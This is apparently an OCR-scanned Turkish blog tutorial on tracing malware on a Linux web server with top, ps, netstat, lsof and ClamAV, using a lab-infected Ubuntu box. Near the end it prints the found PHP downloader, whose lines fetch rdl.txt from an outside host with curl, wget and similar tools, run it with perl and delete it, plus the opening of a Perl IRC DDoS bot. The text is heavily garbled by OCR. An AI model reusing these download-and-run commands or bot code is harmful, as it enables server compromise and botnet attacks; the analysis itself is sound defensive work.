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Zararli yazilimlar Windows isletim sisteminden mi ibaret ? Tabii ki hayir

0zellikle botnet aginin parcgasi olan zombi sunucularin internette givenlik
yamas1i ylklenmemis web uygulamalarini istismar etmek ic¢in taradigi glnumizde,
Linux sunucu kullaniminin Windows sunucu kullanimina kiyasla daha yuksek
olmasi, Linux isletim sistemleri lUzerinde calisan zararli yazilimlarin

sayisinda artisa neden olmaktadir.

Buglinkli yazimda lzerinde zararli yazilim calistigindan siphe ettiginiz bir
Linux web sunucusu (veya masa Usti) Uzerinde calistirabileceginiz bir kac
basit komut ile nasil zararli yazilim hakkinda bilgi edinebileceginizden
kisaca ve basitce bahsedecegim.

Cogunlukla lzerinde zararli yazilaim calisan bir isletim sisteminin
stabilitesi bozuldugunda ylksek miktarda hafiza ve/veya CPU tiketimine neden

olmaktadir.

Ornek olarak lzerinde zararli yazilim calistigindan siiphe duydugumuz bir
Ubuntu dagitimina géz atalim. (Inceleme 6ncesine trojan tarafindan kullanilan
irc sunucularina ait alan adlari HOSTS dosyasina 192.168.1.3 IP adresini

cozumleyecek sekilde tanimlanmistair.)

Yiksek CPU tiketiminden siphe ettigimiz bir Linux sistem lzerinde “top”
komutu ile sistem Uzerinde calisan programlarin/komutlarin ne kadar CPU
tikettigini listeleyebiliriz.
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top - 20:08:13 up 44 min, 4 users, load average: 1.20, 0.65, 0.29

Tasks: V6 total, Z running, 73 =sleeping, 0 stopped, 1 zombie

Cpul=l: ?9.1xus, £0.92=5y, 0.0xni, 0.0xid, 0.0xwa, 0.0xhi, ©0.0x=i, 0.0xst
Mem: 510476k total, 186296k used, 324180k free, 11460k buffers

Suwap: 409616k total, 0k used, 409616k free, 135948k cached

PID USER PR NI VUIRT RES 3SHR S5 «CPU <MEH INE+ COMMAND

12457 wuu-data 20 0 5928 3776 1216 R 98. :27.39 perl

13066 root 20 0 2412 1108 872 (00.03 top
root 20 0 3052 1892 572 02.02 init
root 15 :00.00 kthreadd
root RT 00,00 migration-s0
root 15 (00 .00 ksoftirgd-s0
root 15 00.01 eventss0
root 15 :00.04 khelper
root 15 :00.00 async/ngr
root 15 :00.41 kblockd-0
root 15 00 .00 kacpid
root 15 00,00 kacpi_notify
root 15 (00.00 atars0
root 15 00 .00 ata_aux
root 15 :00.00 ksuspend_ushd
root 15 :00.00 khubd
root 15 :00.00 kseriod
root 15 00 .00 khpsbpkt
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Ekran gorintisinden gorilecegi lzere www-data kullanicisi tarafindan
calistirilan perl programi %98 CPU tiketmektedir. www-data kullanicisi, perl
komutunun web sunucusu tarafindan calistirildigina dair bize ipucu vermekte
fakat bu komutun hangi klasOr icinden calistirildigina dair bilgi vermedigi
icin arastirmamiza devam etmemiz gerekmektedir.

Sistem uUzerinde calisan programlari “ps ax” komutu ile (normal sartlarda

{u n

kullanici bilgisinide igermesi nedeniyle “ax” yerine “aux” parametrelerinin
kullanilmasini 6neriyorum) calisan islemleri (process) listelettigimizde
“top” komutunun ciktisinda en ustte yer alan 12457 ID’'1li perl programinin

burada “/usr/bin/httpd” oldugunu gériyoruz.
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5289
5329
5346
5763
5904
5988
6757
8751
12430
12439
12441
12442
12443
12444
12445
12454
12457
13133
14624
14627
14630 7
14636 tty4
root@ht: " #

hald-addon-storage: no polling on ~devsfd0@ because it
hald-addon-storage: polling ~devshdc (every 2 sec)
susr-binssystemn—tools-backends

sbinslogin —-

—bash

~bazh

iptraf

—bash

-baszh

dhclientd -e IF_METRIC=100 -pf -rvar- run-sdhclient.etho
susrrsshinsapacheZ -k start

susrsshinsapache start

susrsshinsapache2 start

susrrshinsapache2 start

susrrsshinsapache start

susrsshinsapache start

susrsshinsapache2 start

[zsh]l <{defunct>

susrsshinshttpd

susrsshinshttpd

susrrsshinsapache2 -k start

[=h]l <defunct>

susr-local-apachesbinshttpd -D35L

ps ax
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Bir ka¢ satir Uste baktigimizda sistem Ulzerinde apache2’ninde calistig:
gorulmektedir. Hem apache2 ve hem httpd sistemimiz lzerinde calisiyor ve iki
farkli komut (top ve ps) tek bir PID (process id) i¢in iki farkli programi
isaret ettigi icin alarm canlarini calabiliriz cinkl bu sistem Uzerinde
birseylerin kendini gizlemeye calistigini acikca isaret ediyor.

Arastirmamiza devam ederek sistem uUzerinde o6ncelikle TCP protokoline ait acgik
ag baglanti noktalarini ve durumlarini “netstat -ant” komutu ile
listeliyoruz. (Normal sartlarda netstat programi tarafindan desteklenen tim
protokollere ait acik ag baglanti noktalarinin listelenmesi ic¢in “netstat -

n

an” komutunu kullanmanizi dneriyorum.)



root 20 0 2412 1108
1 root 20 g 3052 1892

root 15

root RT

root 15

root 15

root 15

root 15

root 15

root 15

root 15

root 15

root 15

root 15

root 15

root 15

root 15
root@ht: # netstat -ant
Active Internet connections (servers and established)
Proto Recwv-}] Send-[] Local Address Foreign Address State
tcp 0 0.0.0,.0:80 0.0.0.0:= LISTEHN
tcp 0 192 .168.2.129:46075 192 .168.1.3:6667 ESTABLISHED
tcp 1 192.168.2.129:40479 207 .46.170.123:81 SYN_SENT
tcp 0 192 .168.2.129:80 192 .168.2.1:50019 ESTABL ISHED
root@ht:

00,09 top

02.02 init

:00.00 kthreadd
:00.00 migrations0
:00.00 ksoftirgd-s0
:00.01 eventsr0
:00.04 khelper
:00.00 async/mgr
:00.41 kblockd- 0
(00,00 kacpid
:00.00 kacpi_notify
:00.00 atars0

00.00 ata_aux

(00 .00 ksuspend_usbd
:00.00 khubd

:00.00 kseriod
:00.00 khpsbpkt
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Yukaridaki ekran gorintisunde, 192.168.2.129 IP adresine sahip olam
sistemimiz 6667 numarali baglanti noktasi lzerinden 192.168.1.3 IP adresi ile
haberlestigini goriyoruz. 6667-6669 baglanti noktalari c¢ogunlukla IRC
(internet relay chat) sohbet sunuculari tarafindan kullanilmaktadir. Bu
baglanti noktasi ile gerceklesen haberlesme bize sistem Ulzerinde
calistigindan siphe ettigimiz zararli yazilimin DDOS botu olma ihtimalini

guclendiriyor.

Sistemimiz Uzerindeki acik dosya ve soketlerin listesini gormek icin “lsof”
komutundan faydalanabiliriz. Bu komut sayesinde 12457 PID’'1li supheli
programin hangi dosyalara eristigini ve soketleri kullandigini listeliyoruz.



perl 12457 wwuw-data 149332 320346 -librstlssibBb- cmovslibnm
-£.8.90.=0

perl 12457 wuu-data 9676 320344 ~lib-stls~sib86-scmovslibd
1-2.8.90.=0

perl 12457 wwuw-data 21940 263442 susrslibrsperl-s5.10.0-au
tos3ocket - Socket.=so

perl 12457 wuuw-data 17812 263251 ~usr~/librs/perl-sS5.10.0-au
to-sI0-/1I0.s50

perl 12457 wuuw-data 113252 310709 ~r1ibrs14-2.8.90.=s0

perl 12457 wuwu-data Or 6732 sdevrsnull

perl 12457 wuwuw-data 1lu 63584 pipe

perl 12457 wwuw-data Zu 15262 479317 rvar-lograpache2- error.
log

perl 12457 wuuw-data Ju TCP =:wwuw (LISTEN)

perl 12457 wwuw-data 4r 63544 pipe

perl 12457 wwuw-data Su 63544 pipe

perl 12457 wwu-data buw 479318 ~svar~slog-sapacheZ other_
vhosts_access.log

perl 12457 wwuw-data Tu REG 4?9316 ~svar-slograpacheZ- access
.log

perl 12457 wuuw-data B8u 0000 o,? 15 anon_inode

perl 12457 wuwuw-data u  sock 0,4 63555 can't identify protocol
perl 12457 wuw-data 10u IPv4 67852 TCP 192.168.2.129:46075->ir
c.indoforum.org:ircd C(ESTABLISHED)

root@bt: # lsof -p 12457_

En Ust satirda yer alan ve perl’e ait olan socket kutuphanesi bize calisan
zararli yazilimin Perl ile hazirlandigini, “ps ax” c¢iktisinda yer alan
“/usr/bin/httpd” komutunun sahte oldugunu acikca ifade ediyor. Bununlada
yetinmeyip capraz kontrol adina “ls -al /usr/bin/httpd” komutu ile httpd

programinin sistem Uzerindeki varligini kolayca teyit edebiliriz.

5904
5988
6757
8751
12430
12439
12441
124472
12443
12444
12445
12454
12457
13133
14624
14627
14630
15081
18526 7
20116 tty3
20477 tty2 (00 top

21662 ttyl R+ (00 ps ax

root@bt:-# ls -al ~susrssbinshttpd

I=: cannot access susr-ssbinshttpd: No such file or directory
root@bt: 4 _

;00 iptraf

00 -bash

(00 -bash

00 dhclient3 -e IF_METRIC=100 -pf rvar-run-sdhclient.ethd
00 susrsshinsapacheZ -k start

(00 susrrssbinsapacheZ start

(00 susrssbinsapache2 start

100 susrsshinsapacheZ start

00 susrssbhinsapacheZ start

:00 susrssbinsapache2 start

00 susrssbinsapacheZ start

00 [=hl <defunct>

:11 rsusrrssbinshttpd

00 susrsshinshttpd

00 susrssbinsapacheZ -k start

00 [=hl <defunct>

:03 susrrslocalrsapachesbinshttpd -DSSL
100 -bash

(00 susrsshinsclamd

00 less
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“lsof” komutunun diger bir glizel 6zelligi ise size ilgili program tarafindan
kullanilan CWD (current working directory) bilgisinide veriyor olmasidir.




www-data kullanicisi apache2 programinin calistirilmasindan sorumlu ise ve
suphelendigimiz zararli yazilim/komut bu kullanici tarafindan calistirilmis
ise bu durumda ikisinin tek ortak noktasinin apache2 programi oldugu
disunidldiginde “lsof | grep -i www-data | grep cwd ” komutu ile www-data
kullanicisina ait bilgiler filtrelendiginde karsimiza asagidaki tablo
¢ikiyor.

root@bt:/#t lsof | grep -i www-data i grep cud

apache2 12439 wuu-data cwd DIR 142277 svarsuuww
smaker~info

apached 12441 wuuw—-data cwd DIR Z -/
apached 12442 wuuw—-data cuwd DIR Z
apached 12443 wuu-data cwd DIR AUar/uuu
smaker~-info

apached 12444 wuu-data cwd DIR
apached 12445 wuu-data cwd DIR
perl 12457 wuu-data cwd DIR
perl 13133 wuu-data cwd DIR
apache2 14624 wuu-data cwd DIR
perl 24984 wuu-data cuwd DIR
root@bt:# _

En Ust satirda yer alan ve apache2’ye ait olan CWD bilgisi
(“/var/www/maker/info”) bize zararli programin www-data kullanicisi ile

apache2 lUzerinden calistirilmis olma ihtimalini oldukca guclendiriyor.

ClamAV antivirds yazilimi ile ilgili klasor lzerinde yaptigimiz tarama sonug
veriyor ve trojanin bu klasér icinde bulundugu netlik kazaniyor.

root@bt: # clamscan svar-swww-snaker~info

LibhClamAay Harning: B PE I B PEE B o BB B B BE B o B BE B 3 B PE I B BEBEBEIE 3 6B BE B IE 2B B
LibClamAY Warning: #==x* The wvirus database is older than 7 days? ===
LibClamAal Warning: e Plea=ze update it as soon as possible. M
LibhClamAay Harning: B PE I B PEE B o B B BE B o B BE B 3 B o BE I B BE BEE 3 6B BE 2 IE BB
suvarsuuusmakersinfosspd.php: PHP .Dowunloader-4 FOUND
suvarswuusmnakersinforsrdl.txt: Trojan.IRCBot-114Z2 FOUND
svar-swuusmnakersinforsrobot.php: PHP.3hell FOUND

SCAN SUMMARY
Enowun wviruses: 465915
Engine version: 0.94.2
Scanmed directories: 1
Scanmed files: 3
Infected files: 3
Data scanned: 0.12 HMB
Time: 7.166 sec (O m 7 =)
root@bt: - # _




Liphp

echo exec('cd stmp:icurl -o http:rrsgoodfilter.netsmakersinforrdl.txt;perl rdl.tx
t:rm -rf rdl.txt');

echo exec('cd ~tmp:GET http: - goodfilter.netsmakersinfo-rdl. txt:perl rdl.txt:rm
-rf rdl.txt');

echo exec('cd stmp:uget http:--goodfilter.netsmaker-sinforsrdl. txt:perl rdl.txt:r
m -rf rdl.txt’):

echo exec('cd stmp:fetch http://goodfilter.nets/nakersinforsrdl. txt:perl rdl.txt:
rm -rf rdl.txt'):

echo exec('cd -tnp;lup-dowunload http:- - goodfilter.netsmakersinfosrdl.txt;perl r
dl . txt:erm —rf rdl.txt’);

echo passthru('cd stmp:fetch http:-s-goodfilter.netsmakersinfosrdl.txt:perl rdl.
txt:rm —rf rdl.txt’]:

echo passthru('cd stmpiuget http://goodfilter.netsmakersinforsrdl. txt:iperl rdl.t
xtirm —rf rdl.txt’);

echo passthru('cd stmp:icurl -o htip:rrgoodfilter.netsmakersinforrdl.txt:perl rd
1.txt:rm —rf rdl.txt’);

echo passthru('cd ~tmp:GET http:/-goodfilter.netsmakersinforrdl.txt.txt:perl rd
1.txt:rm —rf rdl.txt"):

echo passthru(’'cd stnp:lup-dounload http:/-/goodfilter.net/makersinforsrdl.txt;:pe
rl rdl. txt:rm -rf rdl.txt’);

echo system('cd -stmp:icurl -o http:r/goodfilter.netsmakersinforsrdl . txt:perl rdl.
txt:rm —rf rdl.txt’);

"suarsuwusmakersinfosspd.php” 23 lines, 2058 characters

GHNU nano £.0.7

use I0::Socket::INET:
use HTTP: :Request:
use LUWP::UserAgent:

my @ps = ("susrssbinshttpd”,” usr-localsapachesbinshttpd -DSSL","/sbinssyslogd"§

Sprocesso = Spslrand scalar @psl;

my Slinas_max="10";

ny Ssleep='3':

ny RPadms=("Deddi™):

ny Pcanais="#HetWork";

my @nickname = ("cRcil",
"cRciz2"
"cRci3"
"cRcig"
“cRcis”
“cRcib”
"cRci?"
"cRcig"
"cRcig"
"cRcila",

[ Read 1095 lines 1
8 Get Help @] WriteOut @ Read File @Y Prev Page @4 Cut Text @M Cur Pos
b Exit il Justify Where I= ] Hext Fage UnCut Textpgy To Spell

Yukarida yer alan son ekran goéruntudsinde rdl.txt dosyasina herhangi bir metin

- m m m m wm m w

editorli ile baktigimizda ise bunun bir ddos botu oldugu ve “ps ax” komutunun
¢iktisinda zararli yazilimin neden “/usr/bin/httpd” olarak géruldigu

anlasiliyordu.

Internet lizerinden bulmus oldugum bir trojan (ddos saldirisi gerceklestirme

6zelligine sahip) ile olusturmus oldugum 6rnek bir senaryo lUzerinden giderek
sizlere basitte olsa Linux isletim sistemi lzerinde nasil zararli yazilim izi




surebileceginizi kisaca anlatmaya calistim, umarim faydali olmustur.

Bir sonraki yazida go6rismek dilegiyle..



